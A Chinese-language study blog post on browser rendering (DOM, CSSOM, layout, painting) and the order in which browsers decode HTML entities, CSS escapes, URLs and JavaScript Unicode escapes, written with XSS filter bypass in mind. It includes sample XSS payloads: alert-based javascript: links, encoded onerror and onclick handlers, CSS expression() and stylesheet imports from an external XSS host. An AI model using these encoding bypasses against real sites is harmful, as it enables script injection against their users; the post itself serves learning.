浏览器渲染原理与编码解码

— 被怼番之后,好好学习基础原理 —


前言

突然被电话面试了一波,在XSS这里被怼番了…是真滴菜还一直没有补,哎,潜心研究一下。

其中有问到浏览器渲染的原理,可以说是没有了解了。可能平常会使用到更相近的是在想办法过滤的时候,需要了解的渲染中URL,HTML,JS编码解码过程。

这两块内容有着千丝万缕,放在一起学习,记录。


编码方便回顾小节

HTMl编码不能对标签(包括标签头 以及其中的属性,结构等),但是可以编码标签之间的内容,以及标签属性””之间的所有内容。可以编码javascript,可以编码alert,可以编码:等符号
URL编码不能对伪协议类型进行任何的编码操作:javascript:
js编码可以编码alert等标识符,不能编码控制字符(,),;,",'

浏览器渲染过程

看一个我觉得易于理解的webkit渲染主要流程:

s3.png

加上js的作用如下:
s6.jpg

名词解释:

  • DOM Tree:浏览器将HTML解析成树形的数据结构
  • CSS Rule Tree(CSSOM):浏览器将CSS解析成树形的数据结构。
  • Render Tree:DOM和CSSOM合并后生成Render Tree(渲染树)。渲染树用来计算可见元素的布局并且作为将像素渲染到屏幕上的过程的输入。
  • layout:Webkit中元素的定位称为布局
  • reflow:Gecko中称为回流,重新渲染,第一次渲染也叫这个
  • repaint:重绘,不改变布局改变样式时重绘。比reflow快
  • DOMContentLoaded:仅当DOM加载完成,不包括样式表,图片,flash,触发 DOMContentLoaded 事件
  • onload事件:当页面上所有的DOM,样式表,脚本,图片,flash都已经加载完成了, 触发 onload 事件。
  • 首屏时间:当浏览器显示第一屏页面所消耗的时间,在国内的网络条件下,通常一个网站,如果“首屏时间”在2秒以内是比较优秀的,5秒以内用户可以接受,10秒以上就不可容忍了。
  • 白屏时间:指浏览器开始显示内容的时间。

首先知道,以上的步骤不是严格一步步完成的。
渲染引擎会力求尽快将内容显示在屏幕上。它不必等到整个 HTML 文档解析完毕之后,就会开始构建render树和设置布局。在不断接收和处理来自网络的其余内容的同时,渲染引擎会将部分内容解析并显示出来。

以下来慢慢说几个重要的细节

HTML -> DOM树

HTML解析器 负责 HTML 变为 DOM树 的构建,地址可以分为标记化树构建两个阶段

具体步骤如下:

  • 字节转化为字符
  • 确定特定字符 tokens
  • 将tokens 转化为 节点
  • 以 Document 为根节点构建DOM树

s1.png

DOM 树的构建过程是一个深度遍历过程:当前节点的所有子节点都构建好后才会去构建当前节点的下一个兄弟节点。

css

在html文档的 head 中遇到了一个 link 标记,该标记引用一个外部css,浏览器会立即发出对该资源的请求

由于 HTML解析构建和CSS的解析是相互独立的并不会造成冲突,因此我们通常将css样式放在head中,让浏览器尽早解析css。

js

在html文档中 html解析器遇到一个script标记,他会阻塞DOM树的构建,开始下载js,然后将控制权移交给JavaScript引擎解析,执行。等 JavaScript 引擎运行完毕,浏览器会从中断的地方恢复 DOM 构建。

因为js是可能会改变html现有结构,浏览器会在js执行后决定当前文档是否需要进行重新渲染或者重排,所以会堵塞。因此,js引用放在前面会推迟页面首绘时间。

CSS -> CSSOM树

CSS解释器为页面上任何对象计算样式时,浏览器都会从适用于该节点的最通用规则开始(body元素子项,应用虽有body样式),然后规则“向下级联”,以递归的方式优化计算样式。

构建过程与html相似:

  • 字符 确定特定字符 tokens
  • 将tokens 转化为 节点
  • 构建cssom树

s2.png

css解析过程,自右向左逆向解析。「div div p em」先匹配 em 开始。这样速度快
所以css层数嵌套越多,越慢

CSSOM + DOM -> render树

DOM 树与 CSSOM树 合并后形成 render(渲染)树。有了Render Tree,浏览器已经能知道网页中有哪些节点、各个节点的CSS定义以及他们的从属关系。

生成过程
遍历每个DOM树中的node节点,在CSSOM规则树中寻找当前节点的样式,生成渲染树。

s4.png

注意。不可见的DOM元素不会被插入渲染树。(head元素,disply值为none的隐藏DOM元素 不在渲染树中出现,visibility属性为hidden 的元素将出现在渲染树中)

布局 loyout/reflow

当渲染对象被创建并添加到树中,它们并没有位置和大小,计算这些值的过程称为layoutreflow

Html使用基于流的布局模型,意味着大部分时间,可以以单一的途径进行几何计算。流中靠后的元素并不会影响前面元素的几何特性,所以布局可以在文档中从右向左、自上而下的进行。也存在一些例外,比如html tables。

布局是一个递归的过程,由根渲染对象开始,它对应html文档元素,布局继续递归的通过一些或所有的frame层级,为每个需要几何信息的渲染对象进行计算。

当 render tree 发生变化时则会重新layout、reflow

全局、增量

layout、reflow也有不同的方式。
当layout在整棵渲染树触发时,称为全局layout。包括全局样式的改变,窗口resize等,窗口resize会马上进行reflow

有些操作浏览器并不会立刻reflow 或 repaint 一次,而是会把这样的操作积攒一批,然后做一次 reflow,这又叫异步 reflow 或增量异步 reflow

绘制 Painting

绘制阶段,遍历渲染树并调用渲染对象的paint方法将它们的内容显示在屏幕上,绘制使用UI基础组件。

也分为全局绘制,与增量绘制一块矩形区域。
除此之外绘制还有特定的顺序,此处不多说。


渲染过程的解码过程

HTML实体编码

给出一些常见的HTML实体编码,详细ASCII常用参考 ISO参考

结果 实体名称 实体编码 16进制实体编码
" " " "
' ' ' '
& & & &
: : :
< &lt; &#60; &#x3C;
= &#61; &#x3D;
> &gt; &#62; &#x3E;
? &#63; &#x3F;

浏览器最早开始解析HTML,将标签转化为内容树中的DOM 节点,此时识别标签的时候,HTML 解析器是无法识别那边被实体编码的内容的,即 HTML解析器 不会做解码的工作。

只有建立起DOM 树,才能对每个节点的内容进行识别,这时候如果出现实体编码,则会进行实体解码。
但是这时候解析出来假如有新的标签,那么不会在加入DOM树,只是作为字符串处理。比如<textarea><title>

并且不是所有节点内容都会进行实体解码,比如<script>里面的代码

以上对于标签的识别,并不只是标签头本身,也包括其中的属性、结构等。

对于标签属性进行html编码

1
2
3
4
<!-- 源码 -->
<a href&#x3d;"123">test</a>
<!-- 渲染后右键源码 -->
<a href&#x3d;"123">test</a>

s7.png
s5.png

点击后不会有跳转到/123页面,说明是不会解析的。标签本身也是同理。

对于标签内容进行html编码

1
2
3
4
<!-- 源码 -->
<a href="&#x31;&#x32;&#x33;">test</a>
<!-- 渲染后右键源码 -->
<a href="&#x31;&#x32;&#x33;">test</a>

虽然右键源码内容还是html编码的,但是实际可以跳转
s9.png

s10.png

可以换一种更清楚的方式来看结果。

1
<a href="JavaScript:alert('&#x3C;OK&#x3E;')">test</a>

s11.png

1
2
<!-- 测试时发现上面两种情况,不用; 作为编码结束,也可以识别 -->
<a href="&#x31&#x32&#x33">test</a>

s8.png

虽然会有报错说明,但是也是可以识别的。

CSS编码

由于CSS通过expression方法控制js,但是只有在IE浏览器中可以使用,但是也已经很早就废弃了,只做一些简单的了解。
除此之外还可以通过引入外部链接,文件,url地址来执行js脚本

CSS 编码解析是用了一套不太正统的转义策略:用一个反斜杠,后边跟1~6位十六进制数字构成。,所以字母e 可以编码为 \65, \065,\000065。

而因为这样,后边就不能直接紧跟数字或字母,否则会被当成转义里的内容处理,所以CSS 选择了空格作为终止标识,在解码的时候,再将空格去除。

CSS还支持直接使用反斜杠对非十六进制字符进行转义的方式,就按紧跟着反斜杠后边的字符的字面意思进行解释,这种机制可用来转义引号和反斜杠本身,不过不能转义HTML 控制的字符,比如尖括号,那是因为HTML 解析器总是先于CSS 解析器。

1
2
3
4
5
6
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<style>BODY{-moz-bingding:url("http://ha.ckers.org/xssmoz.xml#xss")}</style>
<div style="background-image: url(javascript:alert('xss'))">
<!-- IE低版本 -->
<div style="color:expression(alert(1));">
<div style="color:expression\028 alert \028 1 \029 \029;">

URL解析

我们都知道浏览器发送到服务器时,服务器会对url进行一次URL解析然后处理。

那么浏览器中也会进行对于URL的解析。
比如html中的<a>标签的href属性,url解析器会对href内部的内容进行一次url解析
js中的window.open(),url解析器会对括号内部的内容进行一次url解析

URL解析过程中的一个细节了,不能对伪协议类型进行任何的编码操作,否则URL解析器会认为它无类型。
这个协议类型的格式是javascript:不是只是javascript

除此了javascript:伪协议可以执行js代码之外,还有IE下的vbscript,Mozilla下的dataURL(data:text/html;这里可以直接添加html的<script>标签,会执行)

unicode编码 javascript解析器

说明一些javascript解析器的入口:

  • <script>标签
  • onlick等事件js的动作
  • url调用javascript:伪协议
  • css调用引入文件,或url再间接引入javascript:
  • eval()调用
  • 定时器触发

Unicode转义序列"\uXXXX",表示一个字符,其中xxxx表示一个16进制数字,如 “<” Unicode编码为 “\u003c”。

js编码还有一种普通十六进制 \xAA

Unicode转义序列出现的地方。从上下文来看,可以分为三个地方:字符串中,标识符名称中和控制字符中。

  • 字符串中:转义序列只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符。
  • 标识符名称中:转义序列会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。
  • 控制字符中:转义序列将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。

JavaScript解析时只有标识符名称不会被当做字符串,控制字符仅会被解析为标示符名称或者字符串

Javascript解析器工作的时候可以将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本或者上面讲的标识符名称,不能作为控制字符解析。

所以unicode解码后的字符串,不能截断语句,不能有控制语法的功能,只能作为字符串,或标识符。

即,在绕过时,能编码的部分,不能包括控制符号如(,),;,",'等。解码后只作为字符串,或标识符名称处理

1
2
<img src="x" onerror="alert(1);\u0061lert(2)">test0</a>
<img src="x" onerror="alert(1)\u003b\u0061lert(2)">test1</a>

test0 可以弹框两个。test1不弹框

1
2
3
4
5
6
7
8
<a href="javascript:alert(1)")>test</a>
<a href="javascript:alert(\u0031)")>test1</a>
<a href="javascript:alert('\u0031')")>test2</a>
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)")>test3</a>
<a href="javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")>test4</a>
<a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:alert(1)")>test5</a>
<a href="javascript\u003aalert(1)")>test6</a>
<a href="javascript:alert('1\u000a')")>test7</a>
测试 结果
test 弹框
test1 失败,解析为字符串1,需要单引号
test2 弹框,编码'则失败
test3 弹框
test4 失败,编码括号
test5 失败,URL解码时,不以javascript伪协议解析,寻找根目录下链接
test6 失败,同上,寻找相对路径链接
test7 弹框,可以添加换行符,不受印象。\u000a 换行符

判断解析流程 url

上面分别提了三种编码,然后把URL解码,跟js解码结合在一起举了个例子。
可以尝试判断以下html代码再浏览器中的解析流程

1
<a onclick="window.open('value1')" href="javascript:window.open(value2)">

Value1:HTML解码 -> JavaScript解码 -> URL解码
Value2:HTML解码 -> URL解码 -> JavaScript解码 -> URL解码

对value1进行细节分析:

  • HTML解码:因为a标签可以顺利生成DOM树,对window.open('value1')javascript:window,open(value2)进行HTML解码
  • JavaScript解码:因为onclick属性,对其中内容进行JS unicode解码window.open('value1')
  • URL解码:window.open打开一个url,对其中内容进行url解码value1

尝试判断value1最严格编码:

  • URL编码:value1。只能对value1,不能对'value1'
  • JS编码:window,open,%76%61%6c%75%65%31。不能对.,(,),'编码
  • html实体编码:全部。
1
2
3
4
5
6
7
8
<!-- 未编码 -->
<a onclick="window.open('value1')">go</a>
<!-- URL编码 -->
<a onclick="window.open('%76%61%6c%75%65%31')">go</a>
<!-- 继续js编码 -->
<a onclick="\u0077\u0069\u006e\u0064\u006f\u0077.\u006f\u0070\u0065\u006e('\u0025\u0037\u0036\u0025\u0036\u0031\u0025\u0036\u0063\u0025\u0037\u0035\u0025\u0036\u0035\u0025\u0033\u0031')">go</a>
<!-- 继续全部html实体编码 -->
<a onclick="&#x5C;&#x75;&#x30;&#x30;&#x37;&#x37;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x39;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x65;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x34;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x66;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x37;&#x2E;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x66;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x30;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x65;&#x28;&#x27;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x37;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x36;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x36;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x31;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x36;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x33;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x37;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x36;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x32;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x33;&#x5C;&#x75;&#x30;&#x30;&#x33;&#x31;&#x27;&#x29;">go</a>

value2 也是差不多意思了。

判断解析流程 DOM

基于DOM的解析流程 也会有所不同。

1
2
3
4
5
<p id="1">hello</p>

<script>
document.getElementById("1").innerHTML = "<img src=&#35; on\u0065rror=&#97;lert&#40;1)>";
</script>

解析过程:JS解析 -> html解析

  • js解析:进入script标签时,进行一个js解析。还原了onerror
  • html解析:DOM修改完html标签后,会重新建立DOM树,对其中节点重新html实体编码解析

自测

如果做出了以下题目,应该可以说是掌握了。
题目
答案


小结

  • html 在生成DOM树时不会html实体编码解码<script>标签中的内容
  • 如果<script>标签修改了DOM树,会对其中的节点内容进行html实体编码解析
  • js编码 对控制符无效,对字符串有效

参考

https://www.cnblogs.com/slly/p/6640761.html
https://www.cnblogs.com/yanglang/p/7090120.html
https://segmentfault.com/a/1190000009975744
https://www.jianshu.com/p/cfdf1747d30e
https://blog.csdn.net/qq_35513598/article/details/79861908
https://security.yirendai.com/news/share/26